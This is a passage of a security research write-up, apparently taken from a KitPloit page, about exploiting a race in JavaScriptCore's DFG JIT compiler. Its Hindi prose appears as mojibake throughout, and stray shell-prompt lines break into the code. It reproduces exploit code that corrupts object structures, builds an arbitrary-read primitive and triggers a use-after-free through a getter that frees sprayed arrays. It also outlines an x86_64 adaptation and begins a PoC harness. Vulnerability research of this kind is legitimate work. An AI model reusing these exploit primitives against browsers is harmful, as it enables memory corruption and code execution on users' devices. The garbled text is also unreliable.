рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдореВрд▓ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдЖрд░реНрдЯрд┐рдлреИрдХреНрдЯ (`yAerzw_d6cb72f5_analytic_rewrite.js`) рдХреЗ рдбреА-рдСрдмрдлрд╕рдХреЗрдЯреЗрдб рдФрд░ рдПрдиреЛрдЯреЗрдЯреЗрдб рд╕рдВрд╕реНрдХрд░рдг рд╕реЗ рдкреБрдирд░реНрдирд┐рд░реНрдорд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рд╡реЗрд░рд┐рдПрдмрд▓ рдирд╛рдо, рдлрд╝рдВрдХреНрд╢рди рдирд╛рдо рдФрд░ рд╕рдВрд░рдЪрдирд╛рддреНрдордХ рдПрдиреЛрдЯреЗрд╢рди рд░рд┐рд╡рд░реНрд╕-рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рд╣реИрдВ тАФ рдпреЗ рдореВрд▓ рд▓реЗрдЦрдХреЛрдВ рд╕реЗ рдирд╣реАрдВ рдЖрддреЗ рд╣реИрдВред рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдХреЛрдб рд╕реНрдирд┐рдкреЗрдЯ рдФрд░ рд╡реНрдпрд╡рд╣рд╛рд░ рд╕рдВрдмрдВрдзреА рд╡рд┐рд╡рд░рдг рдЗрд╕ рдкреБрдирд░реНрдирд┐рд░реНрдорд╛рдг рдХреЛ рджрд░реНрд╢рд╛рддреЗ рд╣реИрдВ, рди рдХрд┐ рдкреНрд░рд╛рдердорд┐рдХ рд╡рд┐рдХреНрд░реЗрддрд╛ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдпрд╛ рд╕рддреНрдпрд╛рдкрд┐рдд рдореВрд▓ рд╕реНрд░реЛрдд рдХреЛред рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╡рд┐рд╡рд░рдг (рд╕рдЯреАрдХ рд╕реНрдкреНрд░реЗ рд╕рдВрдЦреНрдпрд╛, рдкреИрдбрд┐рдВрдЧ рдЖрдХрд╛рд░, рд╕рдВрд░рдЪрдирд╛ рдЖрдИрдбреА рд╕реНрдерд┐рд░рд╛рдВрдХ) рд╕реАрдзреЗ рдЖрд░реНрдЯрд┐рдлреИрдХреНрдЯ рд╕реЗ рд▓рд┐рдП рдЧрдП рд╣реИрдВ рдФрд░ рд╡рд┐рд╢реЗрд╖ рдлрд░реНрдорд╡реЗрдпрд░ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЗ рдЕрдиреБрд░реВрдк рдЯреНрдпреВрди рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред

### 3.2 рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░

рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдЪрд░рдгреЛрдВ рдореЗрдВ рдЖрдЧреЗ рдмрдврд╝рддрд╛ рд╣реИред

**рд╕реНрдЯреЗрдЯ рд╕реЗрдЯрдЕрдкред** рдПрдХ рдХреЗрдВрджреНрд░реАрдп рд╕реНрдЯреЗрдЯ рдСрдмреНрдЬреЗрдХреНрдЯ рд╕рднреА рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдбреЗрдЯрд╛ рд░рдЦрддрд╛ рд╣реИред `Object.seal()` рдЗрд╕рдХреА JSC рд╕рдВрд░рдЪрдирд╛ рдХреЛ рдлрд┐рдХреНрд╕ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ DFG рдХрдВрдкрд╛рдЗрд▓рд░ рдХреА рдХреЙрдиреНрд╕реНрдЯреЗрдВрдЯ-рдлреЛрд▓реНрдбрд┐рдВрдЧ рдзрд╛рд░рдгрд╛рдПрдБ рдЕрдиреБрдорд╛рдирд┐рдд рд╣реЛ рдЬрд╛рддреА рд╣реИрдВ:```javascript // yAerzw_d6cb72f5_analytic_rewrite.js const exploitState = { config: { g: eval('(() => {return -NaN})()') }, f64View: f64Scratch, i32View: i32Scratch, objArray: [[], [], [], []], floats1: [1.1, 2.2, 3.1], floats2: [0.23, 2.2, 3.4], triggerObj: null, callFn: null, typePunBuf: new ArrayBuffer(16), typePunU32: null, typePunF64: null, structureId: 0x500000, // ... jitRead, jitWrite, jitLength, corruptFn, setupFn }; Object.seal(exploitState);

root@kitploit:~
    
    
    `config.g = -NaN` рдорд╛рди рдПрдХ JIT рдЯрд┐рдпрд░ рд╕рд╛рдЗрдб-рдЪреИрдирд▓ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ: `Math.min(-NaN, -NaN)` рдЗрдВрдЯрд░рдкреНрд░реЗрдЯрд░ рдмрдирд╛рдо JIT рдореЗрдВ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдмрд┐рдЯ рдкреИрдЯрд░реНрди рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ `Int32Array` рдУрд╡рд░рд▓реЗ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
    
    **JIT рдХреЙрд▓ рд░реИрдкрд░ред** рдбреЗрдб-рдХреЛрдб рдкреИрдбрд┐рдВрдЧ (`if(false)` рдХреЗ рдЕрдВрджрд░ `x += 1;`) рдХреА 7,200 рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐рдпреЛрдВ рд╡рд╛рд▓рд╛ рдПрдХ `new Function()` JIT рдХреЛрдб рдХреНрд╖реЗрддреНрд░ рдХреЗ рдЖрдХрд╛рд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИред рд▓рд╛рдЗрд╡ рдХреЛрдб рдкрде рдПрдХ рд╕рд░рд▓ рдлрд╝рдВрдХреНрд╢рди рдбрд┐рд╕реНрдкреИрдЪрд░ рд╣реИ:```javascript
    const deadCodePadding = 'x += 1; '.repeat(7200 * 7);
    const jitCallWrapper = new Function(
        'func', 'arg0', 'arg1', 'arg2', 'arg3', 'arg4',
        `if(false) { let x = 0; ${deadCodePadding} }
         return func(arg0, arg1, arg2, arg3, arg4);`
    );
    

**рд╕рдВрд░рдЪрдирд╛ рднреНрд░рд╖реНрдЯрд╛рдЪрд╛рд░ред** `corruptFn` `triggerObj.a/b/c` рдореЗрдВ рдХреНрд░рд╛рдлреНрдЯреЗрдб float64 рдорд╛рди рд▓рд┐рдЦрддрд╛ рд╣реИред ARM64 рдкрд░, рдпреЗ float64 рдмрд┐рдЯ рдкреИрдЯрд░реНрди NaN-boxed рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдореЗрдВ JSC рд╕реЗрд▓ рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдУрд╡рд░рд▓реИрдк рд╣реЛрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рд╕рдВрд░рдЪрдирд╛ рдЖрдИрдбреА рдФрд░ рдкреЙрдЗрдВрдЯрд░ рдлрд╝реАрд▓реНрдб рдХреЛ рдЕрдзрд┐рд▓реЗрдЦрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ:```javascript const corruptFn = (state, targetAddr) => { const typePunToFloat64 = (lo, hi) => ( (state.typePunU32[0] = lo), (state.typePunU32[1] = hi), state.typePunF64[0] ); triggerObj.a = typePunToFloat64(0, state.structureId - 0x20000); triggerObj.b = typePunToFloat64(7, (targetAddr >>> 0) - 0x20000); triggerObj.c = typePunToFloat64( (targetAddr / 0x100000000) >>> 0, 0xfffff); };

root@kitploit:~
    
    
    **рдордирдорд╛рдирд╛ рдкрдардиред** рд╕рдВрд░рдЪрдирд╛ рдХреЛ рджреВрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, `jitReadFn` рджреВрд╖рд┐рдд butterfly pointer рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ `arr[0]` рдХреЛ рдкрдврд╝рддрд╛ рд╣реИ, рдлрд┐рд░ NaN-boxing рдХреЛ рдЙрд▓рдЯрдиреЗ рдФрд░ рдПрдХ рдХрдЪреНрдЪрд╛ рдкрддрд╛ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП `5e-324` (`Number.MIN_VALUE`) рд╕реЗ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рддрд╛ рд╣реИ:```javascript
    const jitReadFn = (state, arr, targetAddr) => {
        state.callFn(corruptFn, state, targetAddr);
        const readValue = arr[0];
        return readValue / 5e-324;  // decode address from NaN-boxed float64
    };
    

**рдЯреНрд░рд┐рдЧрд░ рддрдВрддреНрд░ред** рдПрдХ `argumentsProxy` рдСрдмреНрдЬреЗрдХреНрдЯ рдЯреНрд░рд┐рдЧрд░ рдХреЛ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХреНрд╕реЗрд╕рд░ рдкреНрд░реЙрдкрд░реНрдЯреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рд╡рд╛рд░реНрдордЕрдк рдХреЗ рджреМрд░рд╛рди, рдЗрд╕рдХреА `length` 1 рд╣реЛрддреА рд╣реИ рдФрд░ `inlinedFunction` рдХреЗрд╡рд▓ рдПрдХ рдЖрд░реНрдЧреБрдореЗрдВрдЯ рджреЗрдЦрддрд╛ рд╣реИред рдЯреНрд░рд┐рдЧрд░ рдХреЗ рд▓рд┐рдП, `length` рдХреЛ 9 рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЗрдВрдбреЗрдХреНрд╕ 8 рдкрд░ рдПрдХ рдЧреЗрдЯрд░ рдЙрдЬрд╛рдЧрд░ рд╣реЛрддрд╛ рд╣реИ рдЬреЛ `Function.prototype.apply()` рдХреЗ рджреМрд░рд╛рди рд╕рднреА рд╣реАрдк-рд╕реНрдкреНрд░реЗрдб рдПрд░реЗрдЬрд╝ рдХреЛ рдореБрдХреНрдд рдХрд░ рджреЗрддрд╛ рд╣реИ:```javascript const argumentsProxy = { length: 1, 0: 12 }; Object.defineProperty(argumentsProxy, '3', { get: () => sprayArrays[3001] // the target confused array }); Object.defineProperty(argumentsProxy, '8', { get: () => { sprayArrays.length = 0; // free all spray arrays forceHeapExpansion(); forceHeapExpansion(); forceHeapExpansion(); } });

// Fire: argumentsProxy.length = 9; exploitState.callFn(jitApplyWrapper, exploitState, argumentsProxy);

root@kitploit:~
    
    
    The chain: `apply()` рдкреНрд░реЙрдкрд░реНрдЯреА 0тАУ8 рдкрдврд╝рддрд╛ рд╣реИред рдЗрдВрдбреЗрдХреНрд╕ 8 рдкрдврд╝рдиреЗ рдкрд░ рдЧреЗрдЯрд░ рдлрд╛рдпрд░ рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ рд╕реНрдкреНрд░реЗ рдРрд░реЗ рдХреЛ рдореБрдХреНрдд (free) рдХрд░ рджреЗрддрд╛ рд╣реИред `inlinedFunction` рддрдм `jitTrigger` рдХреЛ `arguments[3]` (рдЕрдм-рдореБрдХреНрдд `sprayArrays[3001]`) рдХреЗ рд╕рд╛рде рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИред JIT-рд╕рдВрдХрд▓рд┐рдд `jitTrigger` рдореБрдХреНрдд рдореЗрдореЛрд░реА рдХреЛ float64 рдорд╛рдиреЛрдВ рдХреЗ рд░реВрдк рдореЗрдВ рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХрд░рддрд╛ рд╣реИ, `/ 5e-324` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрддреЗ рдбрд┐рдХреЛрдб рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдордирдорд╛рдирд╛ read/write рдкреНрд░рд┐рдорд┐рдЯрд┐рд╡ рдХреЛ рдЖрд░рдВрдн рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП WebAssembly рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдкреЙрдЗрдВрдЯрд░реНрд╕ рдХреЛ рд░рд┐рдЬрд╝реЙрд▓реНрд╡ рдХрд░рддрд╛ рд╣реИред
    
    ### 3.3 рдпрд╣ ARM64-рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХреНрдпреЛрдВ рд╣реИ
    
    ARM64 рдХреЗ рджреЛ рдЧреБрдг рдЗрд╕ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХреЛ x86_64 рдкрд░ рдкреЛрд░реНрдЯреЗрдмрд▓ рдирд╣реАрдВ рдмрдирд╛рддреЗ рд╣реИрдВред
    
    **рдореЗрдореЛрд░реА рдСрд░реНрдбрд░рд┐рдВрдЧред** рдкреИрдЪ рдХрдорд┐рдЯ рдореЗрдВ рд╡рд░реНрдгрд┐рдд S1тЖТS2тЖТS3 рдорд▓реНрдЯреА-рд╕реНрдЯреНрд░рдХреНрдЪрд░ рд░реЗрд╕ ARM64 рдХреЗ рдХрдордЬрд╝реЛрд░ рдореЗрдореЛрд░реА рдСрд░реНрдбрд░рд┐рдВрдЧ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИред рдЬрдм рдореБрдЦреНрдп рдереНрд░реЗрдб рдирдпрд╛ рдкреНрд░реЙрдкрд░реНрдЯреА рдорд╛рди рд▓рд┐рдЦрддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рдирдИ рд╕реНрдЯреНрд░рдХреНрдЪрд░ рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИ, рддреЛ ARM64 рдЙрди рд╕реНрдЯреЛрд░реНрд╕ рдХреЛ рдкреБрдирдГ рдХреНрд░рдорд┐рдд (reorder) рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдХрдВрдкрд╛рдЗрд▓рд░ рдереНрд░реЗрдб рдирдИ рд╕реНрдЯреНрд░рдХреНрдЪрд░ рджреЗрдЦ рд╕рдХрддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдкреБрд░рд╛рдирд╛ (рд╕реНрдЯреЗрд▓) рдкреНрд░реЙрдкрд░реНрдЯреА рдорд╛рди рдкрдврд╝ рд╕рдХрддрд╛ рд╣реИред x86_64 рдХрд╛ рдЯреЛрдЯрд▓ рд╕реНрдЯреЛрд░ рдСрд░реНрдбрд░ (TSO) рдЧрд╛рд░рдВрдЯреА рджреЗрддрд╛ рд╣реИ рдХрд┐ рдпрджрд┐ рд╕реНрдЯреНрд░рдХреНрдЪрд░ рд╕реНрдЯреЛрд░ рджреГрд╢реНрдпрдорд╛рди рд╣реИ, рддреЛ рд╣рд░ рдкрд┐рдЫрд▓рд╛ рд╕реНрдЯреЛрд░ тАФ рдкреНрд░реЙрдкрд░реНрдЯреА рд░рд╛рдЗрдЯ рд╕рд╣рд┐рдд тАФ рднреА рджреГрд╢реНрдпрдорд╛рди рд╣реЛрддрд╛ рд╣реИред рдЬрд┐рд╕ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдореЗрдореЛрд░реА-рд░реАрдСрд░реНрдбрд░рд┐рдВрдЧ рддрдВрддреНрд░ рдкрд░ рдорд▓реНрдЯреА-рд╕реНрдЯреНрд░рдХреНрдЪрд░ рдХреЙрдиреНрд╕реНрдЯреЗрдВрдЯ-рдлреЛрд▓реНрдбрд┐рдВрдЧ рд░реЗрд╕ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ, рд╡рд╣ TSO рдХреЗ рдЕрдВрддрд░реНрдЧрдд рд▓рд╛рдЧреВ рдирд╣реАрдВ рд╣реЛрддрд╛, рдФрд░ рдпрд╣ рд░реЗрд╕ x86_64 рдкрд░ рдкреНрд░рдХрдЯ рд╣реЛрддреА рдирд╣реАрдВ рджреЗрдЦреА рдЧрдИ рд╣реИред
    
    **NaN-рдмреЙрдХреНрд╕рд┐рдВрдЧ рд▓реЗрдЖрдЙрдЯред** рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рд╡рд╕реНрддреБ рдкреНрд░реЙрдкрд░реНрдЯреАрдЬрд╝ рдореЗрдВ рдЧрдврд╝реЗ рдЧрдП float64 рдорд╛рди рд▓рд┐рдЦрддрд╛ рд╣реИ, рдЗрд╕ рддрдереНрдп рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реБрдП рдХрд┐ ARM64 рдкрд░, рд╡реЗ рдбрдмрд▓реНрд╕ рдХреЗ рдмрд┐рдЯ рдкреИрдЯрд░реНрди NaN-рдмреЙрдХреНрд╕реНрдб рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдореЗрдВ JSC рд╕реЗрд▓ рд╣реЗрдбрд░реНрд╕ (рд╕реНрдЯреНрд░рдХреНрдЪрд░ рдЖрдИрдбреА, рдмрдЯрд░рдлреНрд▓рд╛рдИ рдкреЙрдЗрдВрдЯрд░реНрд╕) рдХреЗ рд╕рд╛рде рдЕрддрд┐рд╡реНрдпрд╛рдкреА рд╣реЛрддреЗ рд╣реИрдВред рдЬрдмрдХрд┐ x86_64 JSC рдЙрд╕реА NaN-рдмреЙрдХреНрд╕рд┐рдВрдЧ рдпреЛрдЬрдирд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реНрдЯреНрд░рдХреНрдЪрд░-рдЖрдИрдбреА рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдФрд░ рдкреЙрдЗрдВрдЯрд░ рд▓реЗрдЖрдЙрдЯ рдЗрддрдиреЗ рднрд┐рдиреНрди рд╣реИрдВ рдХрд┐ ARM64 рдЯрд╛рдЗрдк-рдкреБрдирд┐рдВрдЧ рддрдХрдиреАрдХ x86_64 рдкрд░ рдорд╛рдиреНрдп рд╕реНрдЯреНрд░рдХреНрдЪрд░ рднреНрд░рд╖реНрдЯрд╛рдЪрд╛рд░ рдЙрддреНрдкрдиреНрди рдирд╣реАрдВ рдХрд░рддреА рд╣реИред
    
    ---
    
    ## 4. x86_64 рдХреЗ рд▓рд┐рдП рдЕрдиреБрдХреВрд▓рди
    
    ### 4.1 ARM64 рд╣рдорд▓рд╛ x86_64 рдкрд░ рдХреНрдпреЛрдВ рд╡рд┐рдлрд▓ рд╣реЛрддрд╛ рд╣реИ
    
    рдорд▓реНрдЯреА-рд╕реНрдЯреНрд░рдХреНрдЪрд░ рд░реЗрд╕ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ рдХрдВрдкрд╛рдЗрд▓рд░ рдереНрд░реЗрдб рдХрд┐рд╕реА рдордзреНрдпрд╡рд░реНрддреА рд╕реНрдЯреНрд░рдХреНрдЪрд░ (S2) рд╕реЗ рдкреНрд░реЙрдкрд░реНрдЯреА рдорд╛рди рдкрдврд╝реЗ, рдЬрдмрдХрд┐ рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╕реНрдЯреНрд░рдХреНрдЪрд░ рд╕реЗрдЯ рдХреЗрд╡рд▓ {S1, S3} рд░рдЦрддрд╛ рд╣реИред x86_64 рдкрд░, TSO рдЗрд╕реЗ рд░реЛрдХрддрд╛ рд╣реИ: `tryGetConstantProperty()` рдореЗрдВ рд╕реЗрд▓ рд▓реЙрдХ рдЕрдиреБрдХреНрд░рдордг рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдФрд░ рд▓реЙрдХ рдХреЗ рдмрд┐рдирд╛ рднреА, рд╕реНрдЯреЛрд░ рдСрд░реНрдбрд░рд┐рдВрдЧ рдПрдХ рд╕реБрд╕рдВрдЧрдд (рд╕реНрдЯреНрд░рдХреНрдЪрд░, рдорд╛рди) рдЬреЛрдбрд╝реА рдХреА рдЧрд╛рд░рдВрдЯреА рджреЗрддреА рд╣реИред рдпрджрд┐ рдХрдВрдкрд╛рдЗрд▓рд░ рдереНрд░реЗрдб рд╕реНрдЯреНрд░рдХреНрдЪрд░ S1 рджреЗрдЦрддрд╛ рд╣реИ, рддреЛ рд╡рд╣ S1 рдХрд╛ рдорд╛рди рджреЗрдЦрддрд╛ рд╣реИред рдпрджрд┐ рд╡рд╣ S2 рджреЗрдЦрддрд╛ рд╣реИ, рддреЛ рд╕реНрдЯреНрд░рдХреНрдЪрд░ рдЬрд╛рдБрдЪ рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рддреА рд╣реИ (S2 рд╕реЗрдЯ рдореЗрдВ рдирд╣реАрдВ рд╣реИ)ред ARM64 рдХрдордЬрд╝реЛрд░ рдСрд░реНрдбрд░рд┐рдВрдЧ рдЬрд┐рд╕ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реНрдЯреЛрд░-рд░реАрдСрд░реНрдбрд░рд┐рдВрдЧ рд╡рд┐рдВрдбреЛ рдХреЛ рдЦреЛрд▓рддреА рд╣реИ, рд╡рд╣ TSO рдХреЗ рдЕрдВрддрд░реНрдЧрдд рд▓рд╛рдЧреВ рдирд╣реАрдВ рд╣реЛрддреАред
    
    ### 4.2 рд╡рд┐рдХрд▓реНрдк: рд╕рдВрдХрд▓рди рдХреЗ рджреМрд░рд╛рди рдореБрдХреНрдд рд╕реЗрд▓
    
    x86_64 рдкреНрд░реВрдл рдСрдл рдХреЙрдиреНрд╕реЗрдкреНрдЯ рдЙрд╕реА TOCTOU рдХрд╛ рдПрдХ рдЕрд▓рдЧ рдкрд░рд┐рдгрд╛рдо рджреЛрд╣рди рдХрд░рддрд╛ рд╣реИред рдХрдВрдкрд╛рдЗрд▓рд░ рдХреЛ рдЧрд▓рдд рд╕реНрдЯреНрд░рдХреНрдЪрд░ рд╕реЗ рдорд╛рди рдлреЛрд▓реНрдб рдХрд░рд╡рд╛рдиреЗ рдХреЗ рдмрдЬрд╛рдп, рдпрд╣ рдХрдВрдкрд╛рдЗрд▓рд░ рдХреЛ рдПрдХ рд╕реНрдЯреЗрд▓ рд╕реЗрд▓-рдореВрд▓реНрдпрд╡рд╛рди `JSValue` рдзрд╛рд░рдг рдХрд░рдиреЗ рдХрд╛ рдХрд╛рд░рдг рдмрдирддрд╛ рд╣реИ, рдЬреЛ рдЪреМрдбрд╝реА рдХреА рдЧрдИ рд░реЗрд╕ рд╡рд┐рдВрдбреЛ рдХреЗ рджреМрд░рд╛рди рдЕрдорд╛рдиреНрдп рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред
    
    рдЕрдиреБрдХреНрд░рдо:
    
    1. `tryGetConstantProperty()` рд╕реЗрд▓ рд▓реЙрдХ рдХреЗ рдЕрдВрддрд░реНрдЧрдд рд╕реЗрд▓-рдореВрд▓реНрдпрд╡рд╛рди рдкреНрд░реЙрдкрд░реНрдЯреА рдкрдврд╝рддрд╛ рд╣реИред
    2. рд▓реЙрдХ рд░рд┐рд▓реАрдЬрд╝ рд╣реЛрддрд╛ рд╣реИред рд╕реЗрд▓ рдкреЙрдЗрдВрдЯрд░ рдЕрдм рдХрдВрдкрд╛рдЗрд▓рд░ рдереНрд░реЗрдб рдХреЗ рдиреЗрдЯрд┐рд╡ C++ рд╕реНрдЯреИрдХ рдкрд░ рдПрдХ рдХрдЪреНрдЪрд╛ `JSValue` рд╣реИред
    3. рдореБрдЦреНрдп рдереНрд░реЗрдб рдкреНрд░реЙрдкрд░реНрдЯреА рдХреЛ рдмрджрд▓рддрд╛ рд╣реИ (`state.val = 0`), рд╕реЗрд▓ рдХреЗ рдЕрдВрддрд┐рдо JavaScript рд╕рдВрджрд░реНрдн рдХреЛ рд╣рдЯрд╛рддреЗ рд╣реБрдПред
    4. рдореБрдЦреНрдп рдереНрд░реЗрдб рдЧрд╛рд░реНрдмреЗрдЬ рдХрд▓реЗрдХреНрд╢рди рдЯреНрд░рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИред
    5. GC рдХрдВрдкрд╛рдЗрд▓рд░ рдереНрд░реЗрдб рдХреЗ рд╕реНрдЯреИрдХ рдХреЛ **рдирд╣реАрдВ** рд╕реНрдХреИрди рдХрд░рддрд╛ рд╣реИред DFG рдХрдВрдкрд╛рдЗрд▓рд░ рдереНрд░реЗрдб рдХрднреА рднреА `JSLock` рдкреНрд░рд╛рдкреНрдд рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕рд▓рд┐рдП GC рдХреЗ рдорд╢реАрди рдереНрд░реЗрдб рд╕реЗрдЯ рдХреЗ рд╕рд╛рде рдХрднреА рдкрдВрдЬреАрдХреГрдд рдирд╣реАрдВ рд╣реЛрддреЗ рд╣реИрдВ:```cpp
    // Source/JavaScriptCore/runtime/JSLock.cpp:154-160
    // Inside didAcquireLock(), called when acquiring JSLock:
    if (thread.uid() != m_lastOwnerThread) {
        m_lastOwnerThread = thread.uid();
        if (m_vm->heap.machineThreads().addCurrentThread()) {
            // ...
        }
    }
    // DFG compiler threads never acquire JSLock.
    // Their stacks are never scanned by GC.
    

  6. рдЬрдм рдХрдВрдкрд╛рдЗрд▓рд░ рдереНрд░реЗрдб рдмрд╛рдж рдореЗрдВ рдлрд┐рд░ рд╕реЗ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ, рдпрд╛ рдЬрдм GC рд╣реАрдк рдЯреНрд░реИрд╡рд░реНрд╕рд▓ рдХреЗ рджреМрд░рд╛рди рдмрд╛рдж рдореЗрдВ рдкреБрд░рд╛рдиреЗ рдорд╛рди рдХрд╛ рдЙрдкрднреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рддреЛ рд╡рд╣ рдЕрдорд╛рдиреНрдп рд╕реЗрд▓ рдорд╛рди рд╕рд╛рдорд╛рдиреНрдп JSC рдХреЛрдб рдХреЛ рдХреНрд░реИрд╢ рдХрд░ рд╕рдХрддрд╛ рд╣реИред



### 4.3 рд░реЗрд╕ рд╡рд┐рдВрдбреЛ

рдкреНрд░реЛрдбрдХреНрд╢рди рдореЗрдВ, `tryGetConstantProperty()` рдореЗрдВ рдкреНрд░реЙрдкрд░реНрдЯреА рд░реАрдб рдФрд░ рдЙрд╕ рдорд╛рди рдХреЗ рдмрд╛рдж рдХреЗ рдЙрдкрднреЛрдЧ рдХреЗ рдмреАрдЪ рдХрд╛ рд╕рдордп рдЕрддреНрдпрдВрдд рдЫреЛрдЯрд╛ рд╣реЛрддрд╛ рд╣реИ тАФ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд░реВрдк рд╕реЗ рд╣рд┐рдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЫреЛрдЯрд╛ред рд░рд┐рд╕рд░реНрдЪ рдмрд┐рд▓реНрдб рдкреНрд░реЙрдкрд░реНрдЯреА рд░реАрдб рдХреЗ рддреБрд░рдВрдд рдмрд╛рдж рдПрдХ DFG safepoint рдФрд░ `usleep()` рдбрд╛рд▓рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡рд┐рдВрдбреЛ 500 рдорд┐рд▓реАрд╕реЗрдХрдВрдб рддрдХ рдЪреМрдбрд╝реА рд╣реЛ рдЬрд╛рддреА рд╣реИред рдпрд╣ рд░реЗрд╕ рдХреЛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рд▓рд┐рдП рдирд┐рдпрддрд╛рддреНрдордХ рдмрдирд╛ рджреЗрддрд╛ рд╣реИред рд╕реЗрдХреНрд╢рди 7 рдЪрд░реНрдЪрд╛ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдЗрдВрд╕реНрдЯреНрд░реБрдореЗрдВрдЯреЗрд╢рди рдкрд░рд┐рдгрд╛рдо рдореЗрдВ рдХреНрдпрд╛ рдмрджрд▓рд╛рд╡ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдХреНрдпрд╛ рдирд╣реАрдВред

* * *

## 5\. рдкреНрд░реВрдл рдСрдл рдХреЙрдиреНрд╕реЗрдкреНрдЯ

### 5.1 рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣рд╛рд░реНрдиреЗрд╕

PoC рд╣рд╛рд░реНрдиреЗрд╕ (`toctou_clean_asan_v2.js`) DFG рдХрдВрдкрд╛рдЗрд▓рд░ рдереНрд░реЗрдб рдФрд░ рдореБрдЦреНрдп рдереНрд░реЗрдб рдХреЗ рдмреАрдЪ рдПрдХ рд░реЗрд╕ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддрд╛ рд╣реИред

**рд▓рдХреНрд╖реНрдп рдСрдмреНрдЬреЗрдХреНрдЯред** рдкреНрд░рддреНрдпреЗрдХ рдкреНрд░рдпрд╛рд╕ рдПрдХ рд╕реАрд▓ рдХрд┐рдП рдЧрдП рд╕реНрдЯреЗрдЯ рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдПрдХ рд╕реЗрд▓-рд╡реИрд▓реНрдпреВ рдкреНрд░реЙрдкрд░реНрдЯреА рд╣реЛрддреА рд╣реИ:```javascript const state = { val: { x: 1, y: 2, z: 3, w: 4 }, pad: attemptId }; Object.seal(state);

root@kitploit:~
    
    
